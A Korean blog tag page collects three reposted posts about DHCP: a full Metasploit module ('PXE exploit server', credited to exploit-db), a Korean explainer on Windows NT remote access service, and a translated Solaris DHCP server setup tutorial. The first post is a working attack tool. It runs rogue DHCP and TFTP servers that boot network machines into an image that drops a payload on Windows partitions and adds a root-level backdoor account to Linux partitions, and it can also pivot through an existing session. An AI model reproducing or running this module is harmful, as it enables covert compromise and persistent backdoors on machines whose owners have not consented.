'dhcp'에 해당되는 글 10건

  1. 2011.08.08 PXE exploit server
  2. 2010.04.05 RAS (remote access server: 원격접속서버)
  3. 2009.12.29 솔라리스 및 오픈솔라리스에서 DHCP 서버 설정하기
2011.08.08 18:54

PXE exploit server

##
# $Id: pxexploit.rb 13493 2011-08-05 17:10:27Z scriptjunkie $
##
  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
  
require 'msf/core'
require 'rex/proto/tftp'
require 'rex/proto/dhcp'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
  
    include Msf::Exploit::Remote::TFTPServer
  
    def initialize
        super(
            'Name'        => 'PXE exploit server',
            'Version'     => '$Revision: 13493 $',
            'Description'    => %q{
                This module provides a PXE server, running a DHCP and TFTP server. 
                The default configuration loads a linux kernel and initrd into memory that 
                reads the hard drive; placing the payload on the hard drive of any Windows 
                partition seen, and add a uid 0 user with username and password metasploit to any 
                linux partition seen.
            },
            'Author'      => [ 'scriptjunkie' ],
            'License'     => MSF_LICENSE,
            'Version'        => '$Revision: 13493 $',
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 4500,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal'
                        
                        }
                    ],
                ],
            'Privileged'     => true,
            'Stance' => Msf::Exploit::Stance::Passive,
            'DefaultTarget'  => 0
        )
  
        register_options(
            [
                OptInt.new('SESSION',   [ false'A session to pivot the attack through' ])
            ], self.class)
  
        register_advanced_options(
            [
                OptString.new('TFTPROOT',   [ false'The TFTP root directory to serve files from' ]),
                OptString.new('SRVHOST',   [ false'The IP of the DHCP server' ]),
                OptString.new('NETMASK',   [ false'The netmask of the local subnet', '255.255.255.0' ]),
                OptString.new('DHCPIPSTART',   [ false'The first IP to give out' ]),
                OptString.new('DHCPIPEND',   [ false'The last IP to give out' ])
            ], self.class)
    end
  
    def exploit
        if not datastore['TFTPROOT']
            datastore['TFTPROOT'] = File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')
        end
        datastore['FILENAME'] = "update1"
        datastore['SERVEONCE'] = true # once they reboot; don't infect again - you'll kill them!
  
        # Prepare payload
        print_status("Creating initrd")
        initrd = IO.read(File.join(Msf::Config.data_directory, 'exploits', 'pxexploit','updatecustom'))
        uncompressed = Rex::Text.ungzip(initrd)
        payl = payload.generate
        uncompressed[uncompressed.index('AAAAAAAAAAAAAAAAAAAAAA'),payl.length] = payl
        initrd = Rex::Text.gzip(uncompressed)
  
        # Meterpreter attack
        if framework.sessions.include? datastore['SESSION']
            client = framework.sessions[datastore['SESSION']]
            if not client.lanattacks
                print_status("Loading lanattacks extension...")
                client.core.use("lanattacks")
            end
  
            print_status("Loading DHCP options...")
            client.lanattacks.load_dhcp_options(datastore)
            1.upto(4) do |i|
                print_status("Loading file #{i} of 4")
                if i < 4
                    contents = IO.read(::File.join(datastore['TFTPROOT'],"update#{i}"))
                else
                    contents = initrd
                end
                client.lanattacks.add_tftp_file("update#{i}",contents)
            end
            print_status("Starting TFTP server...")
            client.lanattacks.start_tftp
            print_status("Starting DHCP server...")
            client.lanattacks.start_dhcp
            print_status("pxesploit attack started")
            return
        end
  
        # normal attack
        print_status("Starting TFTP server...")
        @tftp = Rex::Proto::TFTP::Server.new
        @tftp.set_tftproot(datastore['TFTPROOT'])
        @tftp.register_file('update4',initrd)
        @tftp.start
  
        print_status("Starting DHCP server...")
        @dhcp = Rex::Proto::DHCP::Server.new( datastore )
        @dhcp.start
        print_status("pxesploit attack started")
  
        # Wait for finish..
        @tftp.thread.join
        @dhcp.thread.join
        print_status("pxesploit attack completed")
    end
  
end


출처 : exploit-db.com

Trackback 0 Comment 0
2010.04.05 17:05

RAS (remote access server: 원격접속서버)

RAS (remote access server: 원격접속서버)
 
RAS (remote access server: 원격접속서버)란 NT 4.0의 네트워킹을 활용하는데, 가장 많이 이용되고 있는 하나가 바로 원격 엑세스 서비스(RAS : Remote Access Service)이다. RAS란, 말 그대로 원격지에서 전화접속이나, X.25, 널 모뎀 케이블 등을 사용하여 컴퓨터 상호간에 접속을 할 수 있도록 해주는 서비스를 말한다.

NT 4.0에서 클라이언트 부분은 이제 윈도우 95처럼 '전화 접속 네트워킹(DUN : Dial-Up Networking)이라고 불리고, 서버 부분은 RAS 라고 불린다. RAS는 NetBEUI, IPX/SPX, TCP/IP 프로토콜을 PPP(Point to Point Protocol)나 SILP(Serial Line Interface Protocol)을 통해 양끝을 연결해 준다. 결과적으로 RAS 서버는 양끝을 연결하는 게이트웨이가 되는 셈이며, 실제로 그런 용도로 사용하기도 한다.

RAS 연결은 NT서버의 경우 서버당 256개의 연결을 지원해주며, NT 워크스테이션은 1개의 RAS 연결이 가능하다. 원격지의 RAS 클라이언트가 RAS 서버를 통해서 TCP/IP 통신을 하려면, IP 어드레스를 가지고 있어야 한다. RAS 서버의 장점 중의 하나는, 클라이언트를 위해서 자동적으로 클라이언트의 IP를 할당할 수 있다는 점이다. DHCP(Dynamic Host Configuration Protocol)를 통해서 IP 어드레스를 RAS로 접속한 클라이언트에게 할당해 주거나, IP 어드레스 풀 중의 어드레스를 클라이언트에게 할당해 준다. 윈도우 95의 경우 TCP/IP 프로토콜과 '전화 접속 네트워킹'을 설치하고, '새 연결'을 이용해 전화번호만을 입력하는 것으로 모든 설정이 끝날 수 있는 것은 RAS의 이런 메커니즘 덕택이다.


● RAS의 활용! 이럴 때 쓴다.

전화접속 네트워킹을 통해 기존의 LAN 환경에 접속하는 것이다. RAS를 통해 전화 접속한 컴퓨터는 기존의 LAN에 물려 있는 것과 똑같은 환경으로 실행될 수 있다. 단지, 속도가 LAN 환경에 비해 매우 떨어진다는 것뿐이다. 만일 RAS 서버가 인터넷상에 접속되어 있다면, 전화접속 네트워킹 사용자는 RAS 서버를 통해서 인터넷을 항해할 수 있다.
 
일반적으로 필자가 가장 많이 활용하는 것은 집에서 회사의 서버를 관리할 필요성이 생겼을 경우이다. 휴일에 빌딩 정전이 발생한다거나 해서 원격지에서 서버를 꺼야 할 경우. 전화 접속 네트워킹을 통해 서버에 접속한 다음, NT 4.0 리소스 킷에 있는 'Shutdown' 유틸리티를 사용한다.
 
세 번째로 많이 활용될 수 있는 것은 RAS를 이용한 ISP 사업이다. NT 서버는 서버 당 256개의 RAS 연결이 가능하다. 물론, 256개의 모뎀을 설치해야 하고, 256개의 시리얼 포트를 제공할 수 있는 'Digi-board' 같은 별도의 하드웨어가 필요하다.
 
WAN-LAN의 게이트웨이 - 활용사례가 많지는 않지만, 원격지의 두 곳에 RAS가 설치된 서버가 있다면, 이 두 곳을 하나의 LAN처럼 묶을 수 있다. RAS 서버가 게이트웨이 역할을 수행할 수 있기 때문이다. 하지만, RAS 서버가 ISDN으로 연결될 것이 아니라면, 모뎀을 통해 두 LAN을 묶고자 할 경우는 별로 없다고 생각한다.

● RAS 이용시 주의점 : RAS 서버로 사용할 서버의 이름이 한글일 경우,

"에러 20077 : 사용자 인증이 실패하였습니다. 또는 프로토콜 설정이 실패하였습니다" 또는 "전화를 받는 서버가 응답에 실패하였습니다"와 같은 에러 메시지가 나타나면서 RAS 서버에 접속하지 못한다. 이것은 RAS 서버가 속한 '도메인'의 이름이나 '서버' 이름이 한글이기 때문이다. 아직 PPP와 PPTP 상에서의 한글지원은 완벽하지 않고 지원을 위한 일정도 정확하지 않기 때문에 주의를 요하고 있다.


이 강좌에서는 일반적으로 가장 많이 사용하는 환경인, 모뎀을 이용한 RAS 설치와 연결, 그리고 관리에 대해 설명한다. 즉, 클라이언트 측면에서는 전화 접속 네트워킹이 그 중심이 될 것이다. 

출처 : http://blog.naver.com/smjin21


Trackback 0 Comment 0
2009.12.29 18:50

솔라리스 및 오픈솔라리스에서 DHCP 서버 설정하기

Jeppe Toustrup, 2009년 6월  

유저들이 유닉스 혹은 리눅스 시스템에서 DHCP 서버를 설정하려고 할때 일반적으로는 많은 배포판안에 포함되어 있는 ISC DHCP 서버를 사용할 것입니다. 그러나 이 것은 솔라리스나 오픈솔라리스에는 포함되어 있지 않습니다. 그러므로 솔라리스의 경우 유저들은 설정하는 방법이 아주 많이 다른 그들 만의 DHCP 서버를 사용하게 될것입니다.

이 테크 팁은 여러분이 솔라리스 혹은 오픈솔라리스의 SUNWdhcs 패키지 내에 포함된 번들 DHCP 서버를 사용하여 DHCP 를 설정하는 방법에 대해 설명 합니다. 이 글에서는 몇개의 정적인 특정 호스트들과 랜덤 유저들을 위한 몇가지 작은 주소 풀들을 설정할 것입니다.

참고: 이 글은 솔라리스10 과 오픈솔라리스에서 모두 잘 동작할 것입니다. 솔라리스 버전 10 이외에 버전에서는 테스트해 보지 않았습니다.

DHCP 서버는 솔라리스에서 SUNWdhcsrSUNWdhcsu 패키지로써 찾으실 수 있습니다.

그러나 오픈솔라리스에서는 SUNWdhcs 패키지를 설치해야 합니다. 이것은 다음의 커맨드를 이용해서 수행할 수 있습니다:

 
$ pfexec pkg install SUNWdhcs

설치 이후에, 여러분은 dhcpconfig 커맨드를 이용해서 DHCP 서버가 사용할 설정들을 포함할 설정 디렉토리들을 설정 합니다:

 
$ pfexec dhcpconfig -D -r SUNWfiles -p /var/dhcp -a 192.168.0.1 \
-d office.lan -h files -l 86400

파라미터들은 다음과 같습니다:

  • -D: 새로운 DHCP 서비스 인스턴스를 설정한다고 가르킴.
  • -r SUNWfiles: 일반적인 단순-텍스트 파일 저장소를 사용할 것이라고 가르킴. 다른 옵션들은 SUNWbinfiles 혹은 SUNWnisplus 이 있지만 이 글에서는 다루지 않음.
  • -p /var/dhcp: 설정 파일들이 저장될 절대 경로들을 가르킴.
  • -a 192.168.0.1:랜 환경에서 사용할 DNS 서버를 가르킴. 콤마를 이용해서 복수개의 서버를 지정할 수 있음.
  • -d office.lan: 네트워크에서 사용할 도메인 이름을 지정함.
  • -h files: 호스트 정보가 저장될 곳을 지정함. 다른 값들 로는 nisplusdns 가 있음.
  • -l 86400: 대여 시간을 초 단위로 지정함. 86400 초 = 24 시간

이후에 여러분은 설정할 네트워크를 생성해야 합니다. 이것은 다음의 커맨드를 이용해서 수행할 수 있습니다:

 
$ pfexec dhcpconfig -N 192.168.0.0 -m 255.255.255.0 -t 192.168.0.1

파라미터들은 다음과 같습니다:

  • -N 192.168.0.0: 지정된 네트워크 주소를 이용해서 새로운 네트워크 생성
  • -m 255.255.255.0: 네트워크에 사용할 네트워크 마스크를 지정
  • -t 192.168.0.1: 기본 게이트웨이 지정

이전에 입력되었던 모든 네트워크 설정들은 매크로로써 저장되고, 각각은 작은 설정 옵션들의 집합으로 구성 됩니다. 매크로들은 특정 호스트에 대한 설정 그룹을 지정하는 것을 용이하게 해 줍니다. 다음의 커맨드를 수행 함으로써 현재 생성된 매크로들의 목록을 보실 수 있습니다:

 
$ dhtadm -P

여러분은 총 3개의 매크로가 생성되어 있음을 보실 것입니다. 하나의 매크로는 여러분의 호스트 이름을 따라서 만들어 졌고 첫번째 dhcpconfig 커맨드에 의해 설정된 시스템 레벨에 지정된 설정을 포함하고 있습니다.

다른 매크로는 여러분이 방금 만든 네트워크의 이름을 가지고 있고 마지막 커맨드에서 입력한 설정들을 포함하고 있습니다.

마지막 매크로 Locale 은 단순히 타임존에 대한 정보를 가지고 있고, 이것은 UTC 와 여러분의 타임존과의 시간차를 초 단위로 가지고 있습니다.

출력에서 볼 수 있듯이 현재 타임 서버는 127.0.0.1 로 설정되어 있고 DHCP 클라이언트에는 어떠한 영향도 주지 않습니다. 그러므로 우리는 이것을 기본 게이트웨이 및 DNS 서버로써 사용 중인 192.168.0.1 로 정정할 것입니다. 변경은 아래의 절차를 수행함으로써 이루어 집니다:

 
$ pfexec dhtadm -M -m `hostname` -e Timeserv=192.168.0.1

파라미터들은 다음과 같습니다:

  • -M: 수정할 매크로를 지정.
  • -m `hostname`: 수정할 매크로를 지정함. 쉘은 `hostname` 을 여러분의 호스트 이름으로 변경할 것임.
  • -e Timeserv=192.168.0.1: 변경하고자 하는 설정 및 값을 지정함.

다시한번 여러분은 위의 커맨드로 변경된 설정들을 확인하실 수 있습니다:

 
$ dhtadm -P

우리는 또한 192.168.0.0 매크로를 변경할 것이고 이것을 `hostname 매크로의 내용을 포함하도록 설정할 것입니다:

 
$ pfexec -M -m 192.168.0.0 -e Include=`hostname`

DHCP 서버를 설정하기 위한 마지막 커맨드는 pntadm 로, 네트워크 상의 각각의 호스트를 설정 하는 커맨드 입니다. 다음의 커맨드는 호스트를 위한 정적인 DHCP 항목을 추가 합니다:

 
$ pfexec pntadm -A 192.168.0.2 -c "Comment" -f MANUAL \
-i 01001BFC92BC10 -m 192.168.0.0 -y 192.168.0.0

파라미터들은 다음과 같습니다:

  • -A 192.168.0.2: IP 주소 192.168.0.2 를 추가함.
  • -c "Comment": 여러분의 편의를 위해서 항목의 커맨드를 지정함.
  • -f MANUAL: 지정된 AMC 주소에 오직 이 IP 주소만을 할당하기 위해서 플래그를 MANUAL 로 지정함.
  • -i 01001BFC92BC10: 이 항목이 가르킬 호스트의 맥 주소 (Client_ID) 를 설정함. 지정한 값이 이더넷 주소라는 것을 가르키기 위해서 앞에 01 이 붙어야 함.
  • -m 192.168.0.0: 이 호스트는 192.168.0.0 매크로를 사용할 것임을 명시함.
  • -y: 입력된 매크로가 실제로 존재하는지를 검사하도록 함.
  • 192.168.0.0: 주소가 지정되는 네트워크를 지정함.

설정을 확인하기 위한 커맨드는 아래와 같습니다:

 
$ pntadm -P 192.168.0.0

이제 네트워크 상의 호스트에 IP 주소를 추가합니다:

 
$ pfexec pntadm -A 192.168.0.10 -m 192.168.0.0 -y 192.168.0.0

동일한 파라미터들이 이전과 같이 적용 됩니다, 그러나 더 많은 옵션들을 그냥 남겨 두었습니다. 어떠한 호스트가 이 주소를 가져갈지 모르기 때문 입니다.

마지막으로 할 일은 변경 사항들을 적용하기 위해서 서버를 재기동 하는 것입니다:

 
$ pfexec svcadm restart dhcp-server

이제 모든 작업이 완료 되었습니다.

참고자료

저자에 관하여

Jeppe Toustrup 는 지난 10년동안 리눅스 솔라리스 등 다양한 운영체제를 다루어 왔습니다. 그리고 지난 5년간 덴마크 ISP 들을 위해서 시스템 관리자로써 일해 오고 있습니다.

이 글의 영문 원본은
Configuring the DHCP Server for the Solaris OS or OpenSolaris OS
에서 보실 수 있습니다.


출처 : blog.sdnkorea.com


Trackback 0 Comment 0